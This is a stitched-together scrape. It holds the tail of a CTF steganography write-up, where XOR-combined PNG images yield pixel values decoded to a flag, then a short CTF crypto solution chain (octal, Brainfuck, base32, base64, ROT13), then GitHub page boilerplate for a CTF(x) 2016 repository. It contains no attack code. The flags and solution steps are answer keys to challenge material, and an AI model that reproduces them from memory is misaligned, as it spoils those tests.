"(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair19.png$ convert 563de7a878f2205af9acef7c86556cf4.png 92c899bed7be8af5cb79663fd32fae11.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" pair20.pngAt this point we have 20 images with ASIS{ some dots }, so we know we are on the right path.There are 3 filled dots in every image, and 60 dots total. For each of the 60 possibilities there is a filled dot in exactly one of the images. We can use the following command to look at metadata in Kali:$ identify -verbose pair1.pngThis command includes a histogram, which tells you what color values are present in the entire image.We find that except for 3 pixels, all other pixels have a color value of 30/255 or less. The 3 pixels are definitely outliers, because they have a color value significantly above 30, but no more than 119. Those values could map to the ASCII table.Gathering all the dots and the pixels from the images, we get the following data:(pair)(pixel color)(ASCII)(dot position) 1 95 100 119 _ d w #38 #48 #53 2 83 97 107 S a k #5 #47 #58 3 83 95 110 S _ n #3 #30 #44 4 105 108 121 i l y #17 #18 #34 5 98 110 116 b n t #13 #24 #35 6 105 105 117 i i u #15 #43 #56 7 51 78 95 3 N _ #26 #42 #51 8 95 110 112 _ n p #1 #22 #57 9 52 80 95 4 P _ #39 #45 #5010 52 71 114 4 G r #14 #46 #5211 48 95 95 0 _ _ #28 #37 #4912 95 108 115 _ l s #25 #27 #5913 67 100 102 C d f #10 #29 #3314 95 103 114 _ g r #9 #12 #3615 65 65 95 A A _ #2 #19 #4116 73 104 105 I h i #4 #31 #3217 97 99 104 a c h #23 #54 #5518 52 99 115 4 c s #8 #20 #2119 33 110 116 ! n t #16 #40 #6020 51 95 105 3 _ i #6 #7 #11Ordering them 1 through 60, we have 3 possibilities for each dot, which makes this non-trivial. I started by seeing the pattern _ASIS in the beginning and PNG in the middle and slowly went from there.(dot)(options)(answer) #1 _np _ #2 AA_ A #3 S_n S #4 Ihi I #5 Sak S #6 3_i _ #7 3_i i #8 4cs s #9 _gr _#10 Cdf C#11 3_i 3#12 _gr r#13 bnt t#14 4Gr 4#15 iiu i#16 !nt n#17 ily l#18 ily y#19 AA_ _#20 4cs c#21 4cs 4#22 _np p#23 ach a#24 bnt b#25 _ls l#26 3N_ 3#27 _ls _#28 0__ 0#29 Cdf f#30 S_n _#31 Ihi h#32 Ihi i#33 Cdf d#34 ily i#35 bnt n#36 _gr g#37 0__ _#38 _dw d#39 4P_ 4#40 !nt t#41 AA_ A#42 3N_ _#43 iiu i#44 S_n n#45 4P_ _#46 4Gr r#47 Sak a#48 _dw w#49 0__ _#50 4P_ P#51 3N_ N#52 4Gr G#53 _dw _#54 ach c#55 ach h#56 iiu u#57 _np n#58 Sak k#59 _ls s#60 !nt !The flag is: ASIS{_ASIS_is_C3rt4inly_c4pabl3_0f_hiding_d4tA_in_raw_PNG_chunks!} |
Crypto0021. File is in [Octal](https://github.com/drc14/WhiteHackContest12/blob/master/cipher.txt)2. Convert Octal to [ASCII](https://github.com/drc14/WhiteHackContest12/blob/master/output.txt)3. ASCII is in [Brainfuck](https://en.wikipedia.org/wiki/Brainfuck)4. [Brainfuck](https://copy.sh/brainfuck/) yields base 32 string * knxfmms2gnffmytnmq3wgrddo5hg4qjvjz5es6kni42xst2iiv3wgscbgbrviqjvmjxe2m2npjlhqy2unr3e23jzovhg4slxj5kecncnlayd2===5. Decrypt base 32 string yield base 64 string * SnV2Z3JVbmd7cDcwNnA5NzIyMG5yOHEwcHA0cTA5bnM3MzVxcTlvMm9uNnIwOTA4MX0=6. Decrypt base 64 string yields a new string * JuvgrUng{p706p97220nr8q0pp4q09ns735qq9o2on6r09081}7. The string is a ceaser cipher with a rotation of 13 * WhiteHat{c706c97220ae8d0cc4d09af735dd9b2ba6e09081} |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctfx-problems-2016/crypto/customauth-100 at master · ctf-x/ctfx-problems-2016 · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B090:8CC1:158E196C:162F8A33:64122907" data-pjax-transient="true"/><meta name="html-safe-nonce" content="6ad0b6515e601d4128ca05bdc2978bc5a9aba97fa4d5e9c28631f8f340ff2168" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMDkwOjhDQzE6MTU4RTE5NkM6MTYyRjhBMzM6NjQxMjI5MDciLCJ2aXNpdG9yX2lkIjoiODgyMjI2OTIwNDU4MzU1NzM4MyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="423eff586e70121d2c23d4d2380a4d6faaeef86426a5724ecc06b36f0d3b1f8d" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:62685294" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF(x) 2016 problem statements, files, and writeups - ctfx-problems-2016/crypto/customauth-100 at master · ctf-x/ctfx-problems-2016"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/47b9c8b60ed45d2e40790f44e63a7c70ee2004c584fef75b5aca2d65e1e35687/ctf-x/ctfx-problems-2016" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctfx-problems-2016/crypto/customauth-100 at master · ctf-x/ctfx-problems-2016" /><meta name="twitter:description" content="CTF(x) 2016 problem statements, files, and writeups - ctfx-problems-2016/crypto/customauth-100 at master · ctf-x/ctfx-problems-2016" /> <meta property="og:image" content="https://opengraph.githubassets.com/47b9c8b60ed45d2e40790f44e63a7c70ee2004c584fef75b5aca2d65e1e35687/ctf-x/ctfx-problems-2016" /><meta property="og:image:alt" content="CTF(x) 2016 problem statements, files, and writeups - ctfx-problems-2016/crypto/customauth-100 at master · ctf-x/ctfx-problems-2016" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctfx-problems-2016/crypto/customauth-100 at master · ctf-x/ctfx-problems-2016" /><meta property="og:url" content="https://github.com/ctf-x/ctfx-problems-2016" /><meta property="og:description" content="CTF(x) 2016 problem statements, files, and writeups - ctfx-problems-2016/crypto/customauth-100 at master · ctf-x/ctfx-problems-2016" /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/ctf-x/ctfx-problems-2016 git https://github.com/ctf-x/ctfx-problems-2016.git">
<meta name="octolytics-dimension-user_id" content="20324072" /><meta name="octolytics-dimension-user_login" content="ctf-x" /><meta name="octolytics-dimension-repository_id" content="62685294" /><meta name="octolytics-dimension-repository_nwo" content="ctf-x/ctfx-problems-2016" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="62685294" /><meta name="octolytics-dimension-repository_network_root_nwo" content="ctf-x/ctfx-problems-2016" />
<link rel="canonical" href="https://github.com/ctf-x/ctfx-problems-2016/tree/master/crypto/customauth-100" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
